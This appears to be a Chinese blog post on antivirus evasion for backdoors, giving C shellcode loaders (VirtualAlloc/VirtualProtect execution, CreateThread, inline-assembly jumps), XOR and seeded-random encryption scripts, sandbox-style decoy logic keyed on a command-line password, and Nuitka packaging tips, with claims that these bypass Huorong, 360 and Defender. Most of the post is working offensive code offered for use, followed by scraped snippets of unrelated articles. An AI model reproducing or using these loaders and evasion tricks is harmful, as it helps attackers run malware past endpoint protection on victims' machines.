c语言免杀火绒
文章目录
- 前记
- c加载器
- 补充知识
前记
pyinstaller
pyinstaller目前已经被杀疯了,简单打包一个hello
a="hello"
print(a)#pyinstaller -F -w b.py -n HipsMain.exe

考虑Nuitka
pip uninstall nuitka
pip install nuitka==
pip install nuitka==1.8.5
这里最新的1.8.5支持python3.11,因此将python环境切换到3.11
python -m nuitka --lto=no --onefile --standalone a.py
python -m nuitka --onefile --standalone a.py

因此对后门打包建议使用nuitka,测试evilhiding项目的b.py用nuitka打包后可过火绒、360、defender
c语言
尝试c语言release出来的exe,可见c语言生成的exe是效果最好且体积最小,因此接下来探索c的免杀之路

c加载器
原生加载
#include <Windows.h>
#include <stdio.h>
#include <string.h>#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
int main()
{//方式一:指针执行//((void(*)(void)) & buf)();//方式二:强制类型转换//((void(WINAPI*)(void))&buf)();//方式三:申请动态内存加载//char* Memory;//Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//memcpy(Memory, buf, sizeof(buf));//((void(*)())Memory)();//方式四:嵌入汇编加载unsigned char buf[] = "";void* p;VirtualProtect(buf,sizeof(buf),PAGE_EXECUTE_READWRITE,&p);_asm {lea eax,bufpush eaxret}system("pause");//方式五:汇编花指令//__asm{//mov eax, offset shellcode//_emit 0xFF//_emit 0xE0//}
}
xor加密
def jiami(shellcode,num):shellcode.split('\\x')newcode=''for i in shellcode:base10 = ord(i) ^ numcode_hex = hex(base10)code_hex = code_hex.replace('0x', '')if (len(code_hex) == 1):code_hex = '0' + code_hexnewcode += '\\x' + code_hexprint(newcode)if __name__ == '__main__':shellcode=''num=int (input("num:"))jiami(shellcode,num)
#include <Windows.h>// 入口函数
int wmain(int argc, TCHAR* argv[]) {int shellcode_size = 0; // shellcode长度DWORD dwThreadId; // 线程IDHANDLE hThread; // 线程句柄/* length: 800 bytes */unsigned char buf[] = "加密后的字符串";// 获取shellcode大小shellcode_size = sizeof(buf);/* 增加异或代码 */for (int i = 0; i < shellcode_size; i++) {buf[i] ^= 4;}/*VirtualAlloc(NULL, // 基址800, // 大小MEM_COMMIT, // 内存页状态PAGE_EXECUTE_READWRITE // 可读可写可执行);*/char* shellcode = (char*)VirtualAlloc(NULL,shellcode_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE);// 将shellcode复制到可执行的内存页中CopyMemory(shellcode, buf, shellcode_size);hThread = CreateThread(NULL, // 安全描述符NULL, // 栈的大小(LPTHREAD_START_ROUTINE)shellcode, // 函数NULL, // 参数NULL, // 线程标志&dwThreadId // 线程ID);WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束return 0;
}
敏感修改
- 在 shellcode 读入时,申请一个普通的可写内存页,然后通过 VirtualProtect 加上可执行权限。
- 用 InterlockedXorRelease 函数代替 ^(异或)。
for (int i = 0; i < shellcode_size; i++) {Sleep(50);// buf[i] ^= 10;_InterlockedXor8(buf + i, 10);}char* shellcode = (char*)VirtualAlloc(NULL,shellcode_size,MEM_COMMIT,PAGE_READWRITE // 只申请可写);//将 shellcode 复制到可执行的内存页中CopyMemory(shellcode, buf, shellcode_size);// 更改它的属性为可执行VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
随机数异或加密
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include<string.h>int main() {unsigned char buf[] = ""; int a = 88;int len = sizeof(buf) - 1;unsigned char jiami[900];int b = 0;srand(a);for (int i = 0; i < len; i++) {b = rand() % 9 + 1;//1-9jiami[i] = b ^ buf[i];printf("\\x%x", jiami[i]);}system("pause");return 0;
}
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include<string.h>
void jisuan(int i) {for (int j = 0; j < i; j++)printf("%d\n", j);
}
int main(int argc, char* argv[])
{if (argc == 2){char k[] = "998";if (strcmp(argv[1],k)==0) {int a = 88;unsigned char jiemi[900] = { 0 };unsigned char jiami[900] = "";int len = sizeof(jiami) - 1;int b;srand(a);for (int i = 0; i < len; i++){b = rand() % 9 + 1;//1-9jiemi[i] = jiami[i] ^ b;}void* p;VirtualProtect(jiemi, sizeof(jiemi), PAGE_EXECUTE_READWRITE, &p);_asm {lea eax, jiemipush eaxret}system("pause");}else {jisuan(88);}}else{jisuan(100);}return 0;
}
经过测试可过火绒

补充知识
windows杀死进程
taskkill /im {映像名称} /f
taskkill /pid {pid} /F
python调用c语言(Linux)
int add(int num1, int num2)
{return num1 + num2;
}
gcc c_dll.c -shared -o c_dll.so
from ctypes import *if __name__ == '__main__':getso=cdll.LoadLibrary("./c_dll.so")print(getso.add(1,2))
文件转化为16进制打印
import binascii
print(binascii.b2a_hex(open("1.txt","rb").read()))
相关文章:
c语言免杀火绒
文章目录 前记c加载器补充知识 前记 pyinstaller pyinstaller目前已经被杀疯了,简单打包一个hello a"hello" print(a)#pyinstaller -F -w b.py -n HipsMain.exe考虑Nuitka pip uninstall nuitka pip install nuitka pip install nuitka1.8.5 这里最新…...
MyBatis #{} 和 ${} 的区别
前言: #{} 和 ${} 的区别是 MyBatis 中一个常见的面试题,#{} 和 ${} 是MyBatis 中获取参数的两种方式,但我们在项目中大多数使用的都是 #{} 来获取参数,那么它们两个有什么区别呢? 区别 一. #{} 采用预编译 SQL&…...
计算机科学速成课
建议看看计算机科学速成课,一门很全面的计算机原理入门课程,短短10分钟可以把大学老师十几节课讲的东西讲清楚!整个系列一共41个视频,B站上有中文字幕版。 每个视频都是一个特定的主题,例如软件工程、人工智能、操作系…...
基于单片机的汽车安全气囊系统故障仿真设计
**单片机设计介绍, 基于单片机微波炉加热箱系统设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的汽车安全气囊系统的故障检测系统是一种用于检测安全气囊系统故障的智能化设备,通过单片机控…...
JPA整合Sqlite解决Dialect报错问题, 最新版Hibernate6
前言 我个人项目中,不想使用太重的数据库,而内嵌数据库中SQLite又是最受欢迎的, 因此决定采用这个数据库。 可是JPA并不支持Sqlite,这篇文章就是记录如何解决这个问题的。 原因 JPA屏蔽了底层的各个数据库差异, 但是…...
算法通关村第十关-青铜挑战快速排序
大家好我是苏麟,今天带来快速排序 . 快速排序 单边快速排序(lomuto 洛穆托分区方案) 单边循环 (lomuto分区) 要点 : 选择最右侧元素作为基准点j 找比基准点小的,i 找比基准点大的,一旦找到,二者进行交换。 交换时机: 找到小的,…...
whisper large-v3 模型文件下载链接
#源码里找到的_MODELS {"tiny.en": "https://openaipublic.azureedge.net/main/whisper/models/d3dd57d32accea0b295c96e26691aa14d8822fac7d9d27d5dc00b4ca2826dd03/tiny.en.pt","tiny": "https://openaipublic.azureedge.net/main/whisp…...
Ajax 之XMLHttpRequest讲解
一直以来都听别人说Ajax,今天终于接触到了。。。。。。。。。。 一.什么是Ajax? 答: AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。 AJAX 异步 JavaScript和XML&#x…...
小程序里面循环使用ref的话获取不到
文章目录 概要问题案例解决方法 概要 在小程序里面一般循环使用ref的话会获取不到 问题案例 //这个时自己封装的组件,然后循环使用 <jilianXuanzhe huoqu"huoqu" :ref"jilianXuanzhe i"></jilianXuanzhe>//如果这样使用的话获取…...
PY32F002B从压缩包到实现串口printf输出
最近学习使用芯领的PY32F002B开发板,记录学习历程供有同样需求的人参考。 本文主要讲述利用开发板实现printf语句串口输出。 开发环境的初步搭建 官方提供了一个压缩文件,文件名py32f002B_231026.zip, 链接:https://pan.baidu.c…...
音视频项目—基于FFmpeg和SDL的音视频播放器解析(八)
介绍 在本系列,我打算花大篇幅讲解我的 gitee 项目音视频播放器,在这个项目,您可以学到音视频解封装,解码,SDL渲染相关的知识。您对源代码感兴趣的话,请查看基于FFmpeg和SDL的音视频播放器 如果您不理解本…...
CorelDRAW2024最新版本的图形设计软件
CorelDRAW2024是Corel公司推出的最新版本的图形设计软件。CorelDRAW是一款功能强大的矢量图形编辑工具,被广泛用于图形设计、插图、页面布局、照片编辑和网页设计等领域。 1. 新增的设计工具:CorelDRAW 2024引入了一些全新的设计工具,使用户能…...
【作业】操作系统实验一:进程和线程
文章目录 实验内容一、进程的创建1、编辑源程序2、编辑结果3、编译和运行程序4、解释运行结果 二、进程共享1、运行2、解释运行结果 三、进程终止1、运行2、解释运行结果 四、进程同步1、运行2、解释运行结果 五、Linux中子进程映像的重新装入1、运行2、解释运行结果 六、线程1…...
Linux 环境删除Conda
你可以按照以下步骤操作来删除Conda: 首先,停止所有conda环境。在终端中运行以下命令: conda deactivate然后使用以下命令获取conda安装的路径: which conda如果成功安装了conda,该命令输出的路径应该是类似于这样的&a…...
uni-app(1)pages. json和tabBar
第一步 在HBuilderX中新建项目 填写项目名称、确定目录、选择模板、选择Vue版本:3、点击创建 第二步 配置pages.json文件 pages.json是一个非常重要的配置文件,它用于配置小程序的页面路径、窗口表现、导航条样式等信息。 右键点击pages,按…...
window系统vscode 编译wvp前端代码
下载代码 wvp-GB28181-pro: WEB VIDEO PLATFORM是一个基于GB28181-2016标准实现的网络视频平台,负责实现核心信令与设备管理后台部分,支持NAT穿透,支持海康、大华、宇视等品牌的IPC、NVR、DVR接入。支持国标级联,支持rtsp/rtmp等…...
获取虎牙直播源
为了今天得LOL总决赛 然后想着下午看看 但是网页看占用高 就想起来有个直播源 也不复杂看了大概一个小时 没啥问题 进入虎牙页面只有 直接F12 网络 然后 看这个长条 一直在获取 发送 那就选中这个区间 找到都是数字这一条 如果直接访问的话会一直下载 我这都取消了 然后 打开…...
Halcon (2):Halcon基础知识
文章目录 文章专栏视频资源前言Halcon文档案例学习结论 文章专栏 Halcon开发 视频资源 机器视觉之C#联合Halcon 前言 本章我们主要讲解Halcon的基础语法 Halcon文档 按下F1,就可以看到Halcon的文档,不过都是纯英文的 如果不清楚参数如何使用&#x…...
测不准原理
测不准原理 算符的对易关系 commutation relation 测不准原理的矢量推导 Schwarz inequality: 设对易关系: 设一个新态: 投影: 那么有: 代回Schwarz inequality 即可证明:...
微机原理_12
一、单项选择题(本大题共15小题,每小题3分,共45分。在每小题给出的四个备选项中,选出一个正确的答案。〕 十进制正数56的 8位二进制补码是()。 A. 00011001 B. 10100110 C. 10011001 D. 00100110 若栈顶的物理地址为20100H,当执行完指令PUSH…...
浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)
✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义(Task Definition&…...
【Oracle APEX开发小技巧12】
有如下需求: 有一个问题反馈页面,要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据,方便管理员及时处理反馈。 我的方法:直接将逻辑写在SQL中,这样可以直接在页面展示 完整代码: SELECTSF.FE…...
[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?
论文网址:pdf 英文是纯手打的!论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误,若有发现欢迎评论指正!文章偏向于笔记,谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...
ServerTrust 并非唯一
NSURLAuthenticationMethodServerTrust 只是 authenticationMethod 的冰山一角 要理解 NSURLAuthenticationMethodServerTrust, 首先要明白它只是 authenticationMethod 的选项之一, 并非唯一 1 先厘清概念 点说明authenticationMethodURLAuthenticationChallenge.protectionS…...
vue3 定时器-定义全局方法 vue+ts
1.创建ts文件 路径:src/utils/timer.ts 完整代码: import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...
Axios请求超时重发机制
Axios 超时重新请求实现方案 在 Axios 中实现超时重新请求可以通过以下几种方式: 1. 使用拦截器实现自动重试 import axios from axios;// 创建axios实例 const instance axios.create();// 设置超时时间 instance.defaults.timeout 5000;// 最大重试次数 cons…...
大数据学习(132)-HIve数据分析
🍋🍋大数据学习🍋🍋 🔥系列专栏: 👑哲学语录: 用力所能及,改变世界。 💖如果觉得博主的文章还不错的话,请点赞👍收藏⭐️留言Ǵ…...
Linux --进程控制
本文从以下五个方面来初步认识进程控制: 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程,创建出来的进程就是子进程,原来的进程为父进程。…...
[大语言模型]在个人电脑上部署ollama 并进行管理,最后配置AI程序开发助手.
ollama官网: 下载 https://ollama.com/ 安装 查看可以使用的模型 https://ollama.com/search 例如 https://ollama.com/library/deepseek-r1/tags # deepseek-r1:7bollama pull deepseek-r1:7b改token数量为409622 16384 ollama命令说明 ollama serve #:…...
根目录0xa0属性对应的Ntfs!_SCB中的FileObject是什么时候被建立的----NTFS源代码分析--重要
根目录0xa0属性对应的Ntfs!_SCB中的FileObject是什么时候被建立的 第一部分: 0: kd> g Breakpoint 9 hit Ntfs!ReadIndexBuffer: f7173886 55 push ebp 0: kd> kc # 00 Ntfs!ReadIndexBuffer 01 Ntfs!FindFirstIndexEntry 02 Ntfs!NtfsUpda…...
